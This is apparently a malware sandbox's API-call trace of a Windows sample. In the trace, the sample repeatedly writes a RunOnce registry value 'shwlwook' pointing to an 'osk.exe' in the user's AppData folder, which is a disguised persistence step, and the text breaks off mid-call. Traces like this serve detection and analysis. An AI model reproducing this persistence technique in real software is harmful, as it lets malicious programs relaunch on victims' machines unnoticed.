Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.420] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.480] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.480] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.480] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.481] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.481] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.481] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.481] RegCloseKey (hKey=0x14c) returned 0x0 [0268.481] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.482] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.578] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.578] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.579] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.579] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.579] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.579] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.580] RegCloseKey (hKey=0x14c) returned 0x0 [0268.580] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.581] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.604] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.604] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.605] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.605] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.605] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.605] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.606] RegCloseKey (hKey=0x14c) returned 0x0 [0268.606] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.606] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.620] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.620] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.621] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.621] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.621] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.621] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.621] RegCloseKey (hKey=0x14c) returned 0x0 [0268.622] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.622] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.859] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.859] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.859] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.860] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.860] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.860] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.860] RegCloseKey (hKey=0x14c) returned 0x0 [0268.860] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.861] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.871] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.871] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.871] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.872] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.872] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.872] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.872] RegCloseKey (hKey=0x14c) returned 0x0 [0268.872] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.873] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.886] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.886] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.886] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.887] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.887] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.887] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.887] RegCloseKey (hKey=0x14c) returned 0x0 [0268.887] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.888] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.901] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.901] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.902] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.902] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.902] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.902] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.902] RegCloseKey (hKey=0x14c) returned 0x0 [0268.903] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.903] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.917] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.917] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.917] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.918] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.918] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.918] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.918] RegCloseKey (hKey=0x14c) returned 0x0 [0268.918] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.919] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.932] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.932] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.933] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.933] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.933] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.933] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.934] RegCloseKey (hKey=0x14c) returned 0x0 [0268.934] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.934] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.948] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.948] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.948] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.949] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.949] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.949] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.949] RegCloseKey (hKey=0x14c) returned 0x0 [0268.950] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.950] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.964] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.964] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.964] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.965] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.965] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.965] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.965] RegCloseKey (hKey=0x14c) returned 0x0 [0268.965] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.965] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.122] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.122] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.123] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.123] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.124] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.124] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.124] RegCloseKey (hKey=0x14c) returned 0x0 [0269.124] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.124] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.140] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.140] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.140] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.141] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.141] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.141] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.141] RegCloseKey (hKey=0x14c) returned 0x0 [0269.141] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.142] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.151] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.151] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.152] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.152] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.153] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.153] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.153] RegCloseKey (hKey=0x14c) returned 0x0 [0269.153] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.153] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.167] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.167] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.167] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.168] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.168] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.168] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.168] RegCloseKey (hKey=0x14c) returned 0x0 [0269.168] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.169] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.586] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.586] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.587] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.587] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.587] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.587] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.587] RegCloseKey (hKey=0x14c) returned 0x0 [0269.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.588] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.605] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.605] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.605] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.605] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.606] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.606] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.606] RegCloseKey (hKey=0x14c) returned 0x0 [0269.606] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.606] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.668] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.668] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.668] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.669] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.669] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.669] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.669] RegCloseKey (hKey=0x14c) returned 0x0 [0269.669] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.670] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.683] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.683] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.683] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.684] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.684] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.684] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.684] RegCloseKey (hKey=0x14c) returned 0x0 [0269.685] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.685] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.698] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.698] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.699] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.699] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.699] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0269.700] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0269.700] RegCloseKey (hKey=0x14c) returned 0x0 [0269.700] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0269.700] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0269.714] TranslateMessage (lpMsg=0x95f69c) returned 0 [0269.714] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0269.714] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0269.715] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0269.715] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, 